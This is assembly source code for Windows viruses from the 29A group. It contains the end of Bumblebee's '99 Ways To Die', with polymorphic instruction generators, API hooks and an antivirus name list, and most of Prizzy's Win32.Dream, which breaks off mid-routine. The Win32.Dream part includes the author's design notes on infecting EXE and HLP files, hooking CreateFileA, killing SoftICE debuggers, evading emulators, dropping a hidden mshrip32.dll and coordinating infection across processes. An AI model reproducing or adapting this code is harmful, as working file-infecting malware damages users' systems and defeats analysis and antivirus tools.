lea ecx,RegStatus+ebp
add ecx,eax
mov byte ptr [ecx],0
ret

;
; Instruction generators
;
; EDI: Destination code
; ECX: Reg (if applicable)
; EDX: Inm (if applicable)
;

AddPushREG:
mov al,050h
add al,cl
stosb
ret

AddPopREG:
mov al,058h
add al,cl
stosb
ret

AddMovREGINM:
mov al,0b8h
add al,cl
stosb
mov eax,edx
stosd
ret

AddMovREGMEMEBP:
mov al,08bh
stosb
mov al,08h
mul cl
add al,85h
stosb
mov eax,edx
stosd
ret

AddXorMEMEBPREG:
mov al,031h
stosb
mov al,08h
mul cl
add al,45h
stosb
xor al,al
stosb
ret

AddAddREGINM:
or cl,cl
jnz AddAddREGINM0
mov al,05h
stosb
jmp AddAddREGINM1
AddAddREGINM0:
mov al,081h
stosb
mov al,0c0h
add al,cl
stosb
AddAddREGINM1:
mov eax,edx
stosd
ret

AddSubREGINM:
or cl,cl
jnz AddSubREGINM0
mov al,2dh
stosb
jmp AddSubREGINM1
AddSubREGINM0:
mov al,081h
stosb
mov al,0e8h
add al,cl
stosb
AddSubREGINM1:
mov eax,edx
stosd
ret
;
; This is our func that does the partial check sum of the file. I know it
; must be improved... but i'm so lazy :( (still lazy)
;
; in: ecx (fileSize+1) shr 2
; esi offset mappedFile
;
; out: eax partial checksum of file
;
CheckSumMappedFile:
push esi
xor eax, eax
shl ecx, 1
je func0_saltito0
test esi, 00000002h
je func0_saltito1
sub edx, edx
mov dx, word ptr [esi]
add eax, edx
adc eax, 00000000h
add esi, 00000002h
sub ecx, 00000002h

func0_saltito1:
mov edx, ecx
and edx, 00000007h
sub ecx, edx
je func0_saltito2
test ecx, 00000008h
je func0_saltito3
add eax, dword ptr [esi]
adc eax, dword ptr [esi+04h]
adc eax, 00000000h
add esi, 00000008h
sub ecx, 00000008h
je func0_saltito2

func0_saltito3:
test ecx, 00000010h
je func0_saltito4
add eax, dword ptr [esi]
adc eax, dword ptr [esi+04h]
adc eax, dword ptr [esi+08h]
adc eax, dword ptr [esi+0Ch]
adc eax, 00000000h
add esi, 00000010h
sub ecx, 00000010h
je func0_saltito2

func0_saltito4:
test ecx, 00000020h
je func0_saltito5
add eax, dword ptr [esi]

adc eax, dword ptr [esi+04h]


adc eax, dword ptr [esi+08h]
adc eax, dword ptr [esi+0Ch]
adc eax, dword ptr [esi+10h]
adc eax, dword ptr [esi+14h]
adc eax, dword ptr [esi+18h]
adc eax, dword ptr [esi+1Ch]
adc eax, 00000000h
add esi, 00000020h
sub ecx, 00000020h
je func0_saltito2

func0_saltito5:
test ecx, 00000040h
je func0_saltito6
add eax, dword ptr [esi]

adc eax, dword ptr [esi+04h]


adc eax, dword ptr [esi+08h]
adc eax, dword ptr [esi+0Ch]
adc eax, dword ptr [esi+10h]
adc eax, dword ptr [esi+14h]
adc eax, dword ptr [esi+18h]
adc eax, dword ptr [esi+1Ch]
adc eax, dword ptr [esi+20h]
adc eax, dword ptr [esi+24h]
adc eax, dword ptr [esi+28h]
adc eax, dword ptr [esi+2Ch]
adc eax, dword ptr [esi+30h]
adc eax, dword ptr [esi+34h]
adc eax, dword ptr [esi+38h]
adc eax, dword ptr [esi+3Ch]
adc eax, 00000000h
add esi, 00000040h
sub ecx, 00000040h
je func0_saltito2

func0_saltito6:
add eax, dword ptr [esi]

adc eax, dword ptr [esi+04h]


adc eax, dword ptr [esi+08h]
adc eax, dword ptr [esi+0Ch]
adc eax, dword ptr [esi+10h]
adc eax, dword ptr [esi+14h]
adc eax, dword ptr [esi+18h]
adc eax, dword ptr [esi+1Ch]
adc eax, dword ptr [esi+20h]
adc eax, dword ptr [esi+24h]
adc eax, dword ptr [esi+28h]
adc eax, dword ptr [esi+2Ch]
adc eax, dword ptr [esi+30h]
adc eax, dword ptr [esi+34h]
adc eax, dword ptr [esi+38h]
adc eax, dword ptr [esi+3Ch]
adc eax, dword ptr [esi+40h]
adc eax, dword ptr [esi+44h]
adc eax, dword ptr [esi+48h]
adc eax, dword ptr [esi+4Ch]
adc eax, dword ptr [esi+50h]
adc eax, dword ptr [esi+54h]
adc eax, dword ptr [esi+58h]
adc eax, dword ptr [esi+5Ch]
adc eax, dword ptr [esi+60h]
adc eax, dword ptr [esi+64h]
adc eax, dword ptr [esi+68h]
adc eax, dword ptr [esi+6Ch]
adc eax, dword ptr [esi+70h]
adc eax, dword ptr [esi+74h]
adc eax, dword ptr [esi+78h]
adc eax, dword ptr [esi+7Ch]
adc eax, 00000000h
add esi, 00000080h
sub ecx, 00000080h
jne func0_saltito6

func0_saltito2:
test edx, edx
je func0_saltito0

func0_saltito7:
sub ecx, ecx
mov cx, word ptr [esi]
add eax, ecx
adc eax, 00000000h
add esi, 00000002h
sub edx, 00000002h
jne func0_saltito7

func0_saltito0:
mov edx, eax
shr edx, 10h
and eax, 0000FFFFh
add eax, edx
mov edx, eax
shr edx, 10h
add eax, edx
and eax, 0000FFFFh
pop esi
ret
;
; Virus data ---------------------------------------------------------------
;
HOOKTABLEBEGIN label byte
dd offset _CreateFileA
dd offset Hook0
dd offset _MoveFileA
dd offset Hook1
dd offset _CopyFileA
dd offset Hook2
dd offset _CreateProcessA
dd offset Hook3
dd offset _SetFileAttributesA
dd offset Hook4
dd offset _GetFileAttributesA
dd offset Hook5
dd offset _SearchPathA
dd offset Hook6
dd offset _SetCurrentDirectoryA
dd offset Hook7
HOOKTABLEEND label byte

FSTAPI label byte


CrcCreateFileA dd 08c892ddfh
db 12
_CreateFileA dd 0

CrcMapViewOfFile dd 0797b49ech
db 14
_MapViewOfFile dd 0

CrcCreatFileMappingA dd 096b2d96ch
db 19
_CreateFileMappingA dd 0

CrcUnmapViewOfFile dd 094524b42h
db 16
_UnmapViewOfFile dd 0

CrcCloseHandle dd 068624a9dh
db 12
_CloseHandle dd 0

CrcFindFirstFileA dd 0ae17ebefh
db 15
_FindFirstFileA dd 0

CrcFindNextFileA dd 0aa700106h
db 14
_FindNextFileA dd 0

CrcFindClose dd 0c200be21h
db 10
_FindClose dd 0

CrcVirtualAlloc dd 04402890eh
db 13
_VirtualAlloc dd 0

CrcGetTickCount dd 0613fd7bah
db 13
_GetTickCount dd 0

CrcGetFileTime dd 04434e8feh
db 12
_GetFileTime dd 0

CrcSetFileTime dd 04b2a3e7dh
db 12
_SetFileTime dd 0

CrcSetFileAttributesA dd 03c19e536h
db 19
_SetFileAttributesA dd 0

CrcGetFileAttributesA dd 0c633d3deh
db 19
_GetFileAttributesA dd 0
CrcGetFileSize dd 0ef7d811bh
db 12
_GetFileSize dd 0

CrcGetSystemTime dd 075b7ebe8h
db 14
_GetSystemTime dd 0

CrcMoveFileA dd 02308923fh
db 10
_MoveFileA dd 0

CrcCopyFileA dd 05bd05db1h
db 10
_CopyFileA dd 0

CrcCreateProcessA dd 0267e0b05h
db 15
_CreateProcessA dd 0

CrcSearchPathA dd 0f4d9d033h
db 12
_SearchPathA dd 0

CrcGetCurrentDirectoryA dd 0ebc6c18bh
db 21
_GetCurrentDirectoryA dd 0

CrcSetCurrentDirectoryA dd 0b2dbd7dch
db 21
_SetCurrentDirectoryA dd 0

CrcGetWindowsDirectoryA dd 0fe248274h
db 21
_GetWindowsDirectoryA dd 0
ENDAPI label byte
; AV: AVP, PAV, NAV, ...
; AN: SCAN, VISUSSCAN, ...
; DR: DRWEB
; ID: SPIDER
; OD: NOD-ICE
; TB: THUNDERBYTE... (this still exists?)
; F-: F-PROT, ...
avStrings dw 'VA','NA','RD','DI','DO','BT','-F'
vStringsCout equ (offset $-offset avStrings)/2
fndMask db '*.*',0

copyright db '< 99 Ways To Die Coded by Bumblebee/29a >'

; Following value cannot be included in self check CRC32...


myCRC32 dd 0
vEnd label byte
;
; virus ENDS HERE
;
crypt:
;
; Temp data. Not stored into the file, only 1st generation.
;
BUFFERBEGIN label byte
stringBuffer: ret
db STRINGTOP-1 dup(0)
tmpPath db STRINGTOP dup(0)
currentPath db STRINGTOP dup(0)
address dd 0
names dd 0
ordinals dd 0
nexports dd 0
expcount dd 0
memHnd dd 0

fHnd dd 0
fhmap dd 0
mapMem dd 0
infCount db 0

fileSize dd 0
fileAttrib dd 0
fileTime0 dd 0,0
fileTime1 dd 0,0
fileTime2 dd 0,0
pad dd 0
fNameAddr dd 0
gensize dd 0
myRVA dd 0
fstSec dd 0
find_data WIN32_FIND_DATA <0>
findHnd dd 0
semHook db 0
EPORva dd 0
EPOAddr dd 0
dateTime db 16 dup(0)
payload db 0
pchcks dw 0
BUFFEREND label byte
BUFFERSIZE equ BUFFEREND-BUFFERBEGIN

;
; Fake host for 1st generation
;
fakeHost:
push 1000h
title: @strz "(C) 2000 Bumblebee/29a"
mess: @strz "99 Ways To Die activated. Have a nice day."
push 0h
call MessageBoxA

push 0h
call ExitProcess

Ends
End inicio
;
; hi sweet!
;
; ' the preacher said, richer or poorer
; my mama said, thick or thin
; you can kiss me, baby
; when it's time to get thick again '
;
;
;
; ÚÄÄÍÍÍÍÍÍÍÍÄÄÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ÄÄÍÍÍÍÍÍÍÍÄÄ¿
; : Prizzy/29A : Win32.Dream : Prizzy/29A :
; ÀÄÄÍÍÍÍÍÍÍÍÄÄÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙÄÄÍÍÍÍÍÍÍÍÄÄÙ
;
; Hello people, here is my third virus especially when it is designed for
; whole Win32 platform. It infects only EXE (PE - Portable Executable)
; files and also HLP (Windows Help File Format).
;
; When infected EXE file is started, EIP goes through my easy polymorphic
; engine, which isn't so important in this virus, then hooks CreateFileA
; function, installs itself into memory and only then it can put EIP to
; the host - there're two returns, one for EXE the other for HLP files.
;
; With might and mind I wanted to use only it the best from new high-tech
; vx methods we know. And I think is nothing worst than virus equipped of
; interprocess communication (IPC). I also changed my coding style and
; this source is most optimization as I could.
;
;
; Detailed Information
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;
;
; 1. Interprocess Communication (IPC)
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; You could see one IPC virus (Vulcano) by Benny/29A but I used this fea-
; ture other way than he. His IPC virus is only in one process and it can
; communicate with others viruses in another process.
;
; The parts of my Win32.Dream virus work in several processes and in fact
; it behades like one whole virus. After installing to memory, virus will
; remove itself from memory of the infected program.
;
;
; 1.1. Creating processes
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; This virus is divided into seven 'independent' functions which have own
; process. To create new process I would build a dropper and via the Cre-
; ateProcessA I would run them.
;
; The dropper wait than new function for its process is ready, if yes, it
; shares two mapped blocks (OpenFileMappingA) for that process (it's Glo-
; bal memory and Function's body) and creates thread on the function. The
; process can't terminate it can only Sleep. All created processed are
; hiden in Windows 95, not in WinNT/2k (is't more complex).
;
;
; 1.2. IPC in action
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Hooked CreateFileA functions retrieves control, sets flag for certain
; process and awakes its. That process finishes own task and returns re-
; sults.
;
;
; 1.3. Global memory
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; It's necessary to share some important information among all processes.
; There are:
;
; + [thandle] : When the dropper will create new thread here is re-
; turned handle. It indicates the thread's errorcode.
; + [th_mempos] : Here is stored the name of the Function's mapped
; object. The dropper will open that memory area.
; + [process] : hProcess, ProcessID values of the all created pro-
; cesses because of opening/runing them.
; + [apiz] : The addresses of the all APIz I call are on this
; place.
; + [active] : If other process wants to run me, sets certain flag
; here and the thread tests it.
; + [paramz] : This is place where the virus store some parameters
; among processes (see below).
; + [vbody] : Here is the copy of the virus, useful for changing
; values inside and for poly engine.
; + [filename] : The future infected filename. New CreateFileA func-
; tion stores the name here.
; + [cinfected] : Two FPU memory buffers, one for creating of the in-
; fection mark the other for checking.
; + [poly_vbody] : Output from polymorphic engine.
;
;
; 1.4. Parameters
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; As I wrote above I have to get some parameters of the input processes.
; Here is the description of them:
;
; + [1st
param] : Out of polymorhpic engine, the new size of the virus
; + [2nd
param] : Filesize for checksum (+poly size yet).
; + [3rd
param] : The name of the mapped file (for OpenFileMappingA).
; + [4th
param] : a. Filesize for check_infected (without poly size).
; b. Out of checksum.
; + [5th param] : Input for check_infected, if '1', then it wants to
; get an angle for create_infected.
; + [6th param] : Terminate all processes ? (WinNT/2000 only)
; + [7th param] : Terminate all processes ? (Win95/98 only)
; (because of Win95/98 kernel bug)
;
;
; 1.5. Termination of the all processes
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; I remember it was a nut for me but of course I'd to solve it. At first
; I changed flags of the process (SetErrorMode, it means, the process 'll
; not show any message box if it will do bad instructions), then I had to
; check if the host lives yet. In Win95/98 I have discovered a kernel bug
; so that I couldn't use WinNT version (OpenProcess) to check if the host
; still exists because Win95/98 don't delete its process id handle.
; Win95 - you can only read some value the from allocated memory by host.
; WinNT - that allocated memory is opened by other process, you can't
; identify if the host still exists.
;
;
; 1.6. The scheme of the all processes
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;
;
; ÉÍÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÍ»
; ³ new CreateFileA API function ³
; ÈÍÄÄÄÄÑÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄͼ
; ³
; ÉÍÄUSÄÄÄÄÄÄÄÄÄÄÄÍ»
; ³ infect file ³ ÉÍÄÄÄÄÄÄÄÄÄÄÄÄÄÄÍ»
; ÈÍÄÑÄÄÄÄÄÄÄÄÄÄÄͼ ÚÄÄÄDLE infect HLP ³
; ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÈÍÄÄÄÄÄÄÄÄÄÄÄÄÄÄͼ
; ³
; ³ ÉÍÄÄÄÄÄÄÄÄÍ»
; ³ º º ÚÄÄDLE [check_infected]
; ³ ³ ÃÄÄÄÄBELÄÄÄÙ
; ³ ³ infect ÃÄÄÄÄÅÄÄÄÄÄÄDLE [poly_engine]
; ÀÄÄÄDLE ³ ³
; ³ EXE ÃÄÄÄÄÅÄÄÄÄÄÄDLE [create_infected]
; ³ ÃÄÄÄÄBELÄÄÄ¿
; º º ÀÄÄDLE [checksum]
; ÈÍÄÄÄÄÄÄÄÄļ
;
;
; 2. Optimalization and comments
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Sometimes I heard my last virus Win32.Crypto is too huge and also some
; people had a fun from me (benny, mort - gotcha bastards!) that my next
; virus will be bigger than one megabyte. I wanted to optimize next one
; and I've not told them it so I think it'll be surprise for them I pro-
; ved. Nevertheless I've a taste of the second side and now I can return
; myself without any major problems. But now I can say the virus is more
; optimization than benny's bits and pieces. The source code is not com-
; mented enough because I think no many people will taste something like
; IPC is. If yes, they can contact me.
;
;
; 3. Check infected routine
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Long ago in Win32.Crypto I tasted to use unique math technique how to
; check if the file is infected. Now I thought up new more complex way.
; At first from infected file I'll compile the equation, for example:
; y = 32*x^7 + 192*x^3 - 8212*x^5 - 72*x
; and I'll get two points on that curve, for example x1=4 and x2=7. Then
; I will calculate what angle is between the tangents to the curve from
; that two points, it means: I have to calculate derivation y' of that
; equation and if I know y=x1 and y=x2 then I will determine:
; & = arc tg | log(x1 - x2) - log(1 + x1*x2) |
; If the angle will be greater e.g. than 75 degree, file is infected.
;
; This algorithm has been coded only for fun so that I know we've easier
; methods but I couldn't call to remembrance on any.
;
;
; 4. Pearls behind the scene
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; * Only two weeks before release I've think the virus name up at last.
; * At a time, during coding, I stopped writing and this virus I haven't
; coded for two months. Later when I started again I couldn't remember
; what that code does and so on.
; * In present exists over than fifty backup copies.
; * The worst part of the virus was the dropper, there were many changes
; because of Win9x and WinNT compatibility; many bugs were there.
; * After a hour of the coding I unwillingly deleted new version. So that
; I'd to save more than one gigabytes from FAT32 on another hard disk.
; Only there I found that lost version.
; * The best thing I like on the whole virus is main comment.
; * Working directory was 'E:\X_WIN\' and this file name was 'WIN.AS!'.
; * Last week I was looking for help on mirc
; <prizzy> i used also OpenFileMapping, but I think yes; if ...
; <Bumblebee> mmm
; <Bumblebee> OpenFileMapping?
; <prizzy> yes :)
; <Bumblebee> i've never used it [bumble~1.log, 18:59:17]
; ...but much help I haven't found there (although Bumblebee helped
; me with another bug).
; * During whole coding I've read five books and three film scripts.
;
;
; 5. List of greetings
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Darkman The master of the good optimistic mood
; Bumblebee Thanks for your help during coding
; Billy Belcebu So, our communication has started yet
; GriYo All the time busy man
; Lord Julus Waiting for your new virus and its meta engine
; Mort So did you think this source will be bigger then
; one megabytes? Sorry, maybe later :).
; J.P. I look forward on future with you, dude.
; Ratter No, no. Stop reading and let you show us what you
; are hiding inside.
; VirusBuster Here is that secret bin with savage poly engine as
; you wrote on #virus.
; Benny It the best in the end, benny. Haha, at last this
; source is optimized and you will stop to worry me.
; Thanks for all you have e'er done for me.
; ...and for flush, asmodeus, mlapse, mgl, f0re and evul.
;
;
; 6. Contact me
; ÄÄÄÄÄÄÄÄÄÄÄÄÄ
; prizzy@coderz.net
; http://prizzy.cjb.net
;
;
; (c)oded by Prizzy/29A, June 2000
;
;

.486p
.model flat,STDCALL
locals
include include\mz.inc
include include\pe.inc

extrn ExitProcess:proc
extrn CreateFileA:proc
extrn MessageBoxA:proc

;ÄÄÄ´ prepare to program start ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

.data
db ?
.code

;ÄÄÄ´ virus code starts here ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

vstart proc
pusha
call $+5
pop ebp
sub ebp,$-vstart-1 ;get delta
vsize equ file_end - vstart
mov eax,[esp+vsize+32]
sub eax,1000h
inf_ep equ $-4
mov [ebp+ha_module-vstart],eax
add eax,fg0 - vstart + 1000h
org_ep equ $-4 ;get startup address
push eax
call get_k32_apis
jmp __return
@anti_e:
call kill_st
call check_resident ;try to create it
call create_process_maps
.if byte ptr [ebp+error-vstart] == 0
call hookapi
.endif

__return:
pop dword ptr [esp+28]
popa
sub esp,-vsize-4
db 90h,90h
jmp eax ;exe back
xor eax,eax ;hlp back
ret 8
vstart endp

get_k32_apis proc
push 20
mov eax,[esp+vsize+48] ;find k32 address
sub ax,ax
pop ecx
@@1:.if word ptr [eax] != 'ZM'
sub eax,65536
loop @@1
jmp gk32a_f_a
.endif
cmp byte ptr [ebp+__return+11-vstart],90h
jz $+5
pop eax
jmp __return
push eax eax ;get k32 tables
add eax,[eax+60]
pop ebx edi
add ebx,[eax+78h]
mov cl,0
@@3:push ebx ecx
mov edx,[ebx+32]
add edx,edi
@@4:mov esi,[edx] ;calculate next crc32 func.
add esi,edi
push ecx edx ebx ;crc32 algorithm
stc
sbb ecx,ecx
mov edx,ecx
@@4_crc32_nByte:
sub eax,eax
sub ebx,ebx
lodsb
xor al,cl
mov cl,ch
mov ch,dl
mov dl,dh
mov dh,8
@@4_crc32_nBit:
shr bx,1
rcr ax,1
jnc @@4_crc32_no
xor ax,08320h
xor bx,0edb8h
@@4_crc32_no:
dec dh
jnz @@4_crc32_nBit
xor ecx,eax
xor edx,ebx
cmp byte ptr [esi-1],0
jnz @@4_crc32_nByte
@@4_crc32_fin:
not edx
not ecx
pop ebx
mov eax,edx
rol eax,16
mov ax,cx
pop edx ecx
cmp [ebp+k32_crcs+ecx*4-vstart],eax ;crc32 == my func ?
jz @@5
sub edx,-4
jmp @@4
gk32a_f_a:
jmp gk32a_f
@@3_a:
jmp @@3
@@5:sub edx,[ebx+32] ;get addr of the new func.
sub edx,edi
shr edx,1
add edx,[ebx+36]
add edx,edi
movzx edx,word ptr [edx]
shl edx,2
add edx,[ebx+28]
mov edx,[edx+edi]
add edx,edi
pop ecx ebx
movzx eax,word ptr [ebp+ecx*2+k32_addrs-vstart]
neg ax
mov [ebp+eax],edx ;store its
@@5a:inc ecx
mov eax,edi
rol eax,8
sub al,0BFh
jz @@5b
cmp ecx,14
jz @@5a
@@5b:cmp ecx,count
jnz @@3_a
push p_number+1 ;update Sleep function
pop ecx
@@6:movzx eax,word ptr [ebp+process_maps+ecx*2-vstart-2]
neg ax
mov [ebp+eax+2],edx
@@7:loop @@6
test al,0C3h
gk32a_f equ $-1
pop eax
push cs ;anti-emulator
lea eax,[ebp+@anti_e-vstart]
push eax
retf
get_k32_apis endp

kill_st proc
call @sNT+10
@s95:db '\\.\SICE',0 ;name drivers
@sNT:db '\\.\NTICE',0
pop ebx
call open_file ;open SoftICE 95/98 or
jz @ks_nt ; SoftICE NT/2k driver
dec eax
push eax
mov eax,0
lpCloseHandle equ $-4
call eax
jmp @ks_kill ;kill process
@ks_nt:
sub ebx,@s95-@sNT ;open the second driver
call open_file
jz @ks_dos
dec eax
call [ebp+lpCloseHandle-vstart]
@ks_kill:
push eax
mov eax,0
lpExitProcess equ $-4
call eax
@ks_dos:
cmp dword ptr fs:[32],0 ;TD32 etc.
jnz @ks_kill
ret

open_always_file:
sub eax,eax ;create file always
push eax ;useful for droppers
mov cl,80h
push ecx 2
jmp $+8
open_file:
sub eax,eax ;open file in ebx
push eax edx 3
cdq
mov dl,0C0h
bswap edx
push eax eax edx ebx
mov eax,0
lpCreateFile equ $-4
call eax
inc eax
ret
kill_st endp

check_resident proc
push ebp 1 0 ;create mutex or get if it
mov eax,0 ;has been created => in mem
lpCreateMutexA equ $-4
call eax
xchg eax,ebx
mov eax,0
lpGetLastError equ $-4
call eax
xchg eax,esi
or esi,esi
jz @cr_f
push ebx
mov eax,0
lpReleaseMutex equ $-4
call eax
@cr_f:or esi,esi
pop eax
jnz __return
jmp eax
check_resident endp

create_process_maps proc
mov byte ptr [ebp+error-vstart],1
call build_dropper ;create dropper in sys dir
jc cpm_fnodeal
mov eax,0
lpGetCurrentProcessId equ $-4
call eax
mov [ebp+if_parent-vstart],eax
sub ebx,ebx
push 80h
cpm_shared_mem equ $-4
push 7
mov eax,0
lpSetErrorMode equ $-4
call eax
pop ecx
lea edi,[ecx+vbody]
push ecx
mov esi,ebp
mov ecx,vsize
rep movsb
cpm_nxproc:
pop eax
lea edi,[eax+8+ebx*8]
push eax
mov [eax],edi
call @@1
dd 0,0,0,0 ;hProc, hThr, ProcID, ThrID
@@1:pop esi
lea eax,[ebp+vsize]
push esi eax 68
pop ecx
@@1a:mov [eax],ch
inc eax
loop @@1a
push ecx ecx 640 1 ecx ecx 80h ecx
cpm_cmdline equ $-5
inc ecx
mov dword ptr [eax-6*4],ecx
mov eax,0
lpCreateProcessA equ $-4
call eax
or eax,eax
jz cpm_failed
lodsd ;get hProcess and ProcessID
stosd
lodsd
lodsd
mov edx,eax
stosd
movzx esi,word ptr [ebp+process_maps+ebx*2-vstart]
neg si
add esi,ebp
movzx ecx,word ptr [esi-2]
mov eax,4096
call malloc
xchg eax,edi
rep movsb ;copy one to mem
pop esi
push esi
movzx eax,byte ptr [ebp+m_sign-2-vstart]
mov [esi+4],eax ;thread memory sign
mov [esi],ecx ;active flag
push esi count-2
lea edi,[esi+apiz]
lea esi,[ebp+k32_addrs-vstart]
pop ecx
@@2:sub eax,eax
lodsw
neg ax
mov eax,[ebp+eax]
stosd
loop @@2
pop esi
push edx ecx 1F0FFFh
mov eax,0
lpRegisterServiceProcess equ $-4
or eax,eax
jz cpm_winnt
push 1 edx
call eax
cpm_winnt:
mov eax,0
lpOpenProcess equ $-4 ;create inside thread from
call eax ;the dropper
xchg eax,ecx
jecxz cpm_failed
mov edx,0
lpWaitForSingleObject equ $-4
call edx, ecx, 40
lodsd
not eax
xchg eax,ecx
jecxz cpm_failed
inc ebx
cmp bl,p_number
jnz cpm_nxproc
mov al,bh ;remove the virus from the
mov ecx,(mem_end - newCreateFile) ;current file, live on the
lea edi,[ebp+newCreateFile-vstart] ;other places inside win32
rep stosb
mov byte ptr [ebp+error-vstart],cl
cpm_failed:
pop eax
or ebx,ebx
jnz cpm_fnodeal
call mdealloc
cpm_fnodeal:
mov eax,[ebp+cpm_cmdline-vstart]
mdealloc:
push eax ;deallocate shared memory
mov eax,0
lpUnMapViewOfFile equ $-4
call eax
ret
error db 0
create_process_maps endp

build_dropper proc
mov eax,260 ;generate dropper filename
call malloc
mov [ebp+cpm_cmdline-vstart],eax
mov edi,eax
push 7Fh eax ;no more then 0x80 chars
mov eax,0
lpGetSystemDirectory equ $-4
call eax ;get system directory
or eax,eax
jz bd_failed
call bd_fname
db '\mshrip32.dll',0 ;hmmm, my dropper name
bd_fname:
pop esi
push 14
mov ebx,edi
add edi,eax
pop ecx
rep movsb
call open_always_file ;create its
jz bd_failed
dec eax
push eax
mov esi,1024 ;alloc memory for dropper
call malloc
xchg eax,edi ;edi=output, all is zero
mov eax,60000
push edi
lea esi,[ebp+dropper_data-vstart]
call malloc
xchg ebx,eax
mov [ebp+cpm_shared_mem-vstart],ebx
mov eax,0
lpGetVersion equ $-4
call eax
xor ecx,ecx
bt eax,63
adc edi,ecx
mov [ebx+paramz+(7-1)*4],edi
pop edi
push edi
mov al,[ebp+m_sign-2-vstart]
mov [esi+224],al ;noone knows what is it
bd_read: ;create EXE PE dropper
xor eax,eax
lodsb
cmp al,-1 ;end of data?
jz bd_done
add edi,eax ;next movement
lodsb
xchg eax,ecx
bd_write:
lodsb
stosb ;save data
loop bd_write
jmp bd_read
E8 equ 0E8
bd_done:
push 0
call @@2
dd ?
@@2:push 1024
push dword ptr [esp+12] ;droppers body
push dword ptr [esp+20] ;file handle
mov eax,0
lpWriteFile equ $-4
call eax
push eax dword ptr [esp+8]
call [ebp+lpCloseHandle-vstart]
pop ecx eax eax ;write error ?
jecxz bd_failed
test al,0F9h
bd_failed equ $-1
ret

radix 16 ;compressed [dropper EXE(PE) 1024 bytes]


dropper_data equ this byte
db 0,5,4Dh,5A,90,0,3,3,1,4,3,2,0FF,0FF,2,1,0B8,7,1,40,23,1,0C0,83,2
db 50,45,2,8,4C,1,1,0,7F,6A,4,38,8,7,0E0h,0,0Fh,1,0Bh,1,6,6,1,2,6,2
db 0C,10,3,1,10,3,1,10,4,1,40,2,1,10,3,1,2,2,1,4,7,1,4,8,1,20,3,1,2
db 2,2,0E6,3Bh,2,1,2,5,1,10,2,1,10,4,1,10,2,1,10,6,1,10,0Bh,2,88,10
db 2,1,28,54,1,10,2,1,8,1Bh,4,2Eh,32,39,41,4,1,0C8,4,1,10,3,1,2,3,1
db 2,0E,1,40,2,1,0C0,20,2,0B8h,10,0A,7E,0E8,45,0,0,0,96,0E8,0,0,0,0
db 5Dh,89,75,9,0EBh,2,90,90,0BBh,0,0,0,0,83,3Bh,0,75,1E,66,0C7,45,6
db 0EBh,28,0E8,1E,0,0,0,33,0C9,53,51,53,50,51,51,0B8,0,0,0,0,-1,0D0
db 0F7,0D0,89,3,6A,0A,0B8,0,0,0,0,0FF,0D0h,0EBh,0CBh,0ADh,56,0EBh,7
db 0E8,2,0,0,0,41,0,33,0F6,0BF,1F,0,0F,0,6A,1,57,0B8,0,0,0,0,-1,0D0
db 56,56,56,57,50,0B9,0,0,0,0,-1,0D1,0C3,E8,0,0,0,0,-1,25,0,10,40,0
db 0,0,0B0,10,0A,2,0BEh,10,3,1,10,16,2,0B8,10,6,0Fh,96,1,50,69,65,0
db 47,44,49,33,32,2E,64,6C,6C,0FF
radix 10

build_dropper endp

malloc proc
pusha ;allocate shared memory
xchg ebx,eax
sub esi,esi
inc byte ptr [ebp+m_sign-2-vstart]
call m_sign
db "@",0
m_sign:
push ebx esi 4 esi 0-1
mov eax,0
lpCreateFileMappingA equ $-4
call eax
dec eax
jz m_failed
inc eax
push ebx esi esi 2 eax
mov eax,0
lpMapViewOfFile equ $-4
call eax
m_failed:
mov [esp+28],eax
popa
or eax,eax
ret
malloc endp

hookapi proc
mov ebx,0
ha_module equ $-4
cmp word ptr [ebx],'ZM'
jnz ha_failed
movzx esi,word ptr [ebx+60]
add esi,ebx
cmp word ptr [esi],'EP'
jnz ha_failed
mov eax,[esi+80h]
add eax,ebx
fk32:mov esi,eax
mov esi,[esi+12]
cmp [esi+ebx],'NREK'
jz fkok
sub eax,-20
jmp fk32
fkok:mov edx,[eax+16]
add edx,ebx
cmp dword ptr [eax],0
jz ha_failed
push edx
mov esi,[eax]
add esi,ebx
mov edx,esi
sub eax,eax
fklp:cmp dword ptr [edx],0
jz ha_failed2
